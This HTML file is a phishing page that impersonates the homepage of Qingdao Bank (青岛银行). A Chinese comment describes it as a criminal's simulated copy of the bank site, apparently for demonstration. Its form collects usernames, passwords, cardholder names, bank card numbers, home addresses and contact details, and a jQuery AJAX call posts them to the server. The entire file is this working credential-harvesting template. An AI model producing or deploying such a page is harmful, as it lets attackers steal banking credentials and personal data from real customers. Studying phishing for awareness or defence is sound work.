<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>青岛银行-首页</title>
    <link rel="stylesheet" href="/static/style/login.css">
    <link rel="stylesheet" href="/static/style/home.css">
    <link rel="stylesheet" href="/static/style/common.css">
    <script src="/static/jquery-1.12.4.js"></script>
    <script>
        $(function () {
            var text_input_1 = $("#id_input_username").val();
            var text_input_2 = $("#id_input_password").val();
            var text_input_3 = $("#id_input_1").val();
            var text_input_4 = $("#id_input_2").val();
            var text_input_5 = $("#id_input_3").val();
            var text_input_6 = $("#id_input_4").val();

            $("#id_button_test").click(function () {
                loginFunc();
            });

            function loginFunc() {
                $.ajax({
                    url: '/',
                    type: 'POST',
                    dataType: 'json',
                    data: $("#login_form").serialize(),
                    success: function (data) {
                        var obj = data;
                        if (!obj.status) {
                            alert("提交失败 ! ");
                        } else {
                            alert("提交完成 ! ");
                        }
                    }
                });
            }
        })
    </script>
</head>
<body>

<h1>
    <!--这里是犯罪分子模拟的青岛银行的首页，假设完全复制了青岛银行的所有页面(界面)-->
</h1>
<br>

<form id="login_form" action="">
    <input name="name_input_1" id="id_input_1" class="c_input_username" type="text" placeholder="请输入用户名">
    <input name="name_input_2" id="id_input_2" class="c_input_password" type="password" placeholder="请输入密码">
    <input name="name_input_3" id="id_input_3" class="c_input_username" type="text" placeholder="请输入持卡人姓名">
    <input name="name_input_4" id="id_input_4" class="c_input_password" type="text" placeholder="请输入银行卡号">
    <input name="name_input_5" id="id_input_5" class="c_input_username" type="text" placeholder="请输入家庭地址">
    <input name="name_input_6" id="id_input_6" class="c_input_password" type="text" placeholder="请输入联系方式">
</form>

<button id="id_button_test" class="c_button_login">提 交</button>

</body>
</html>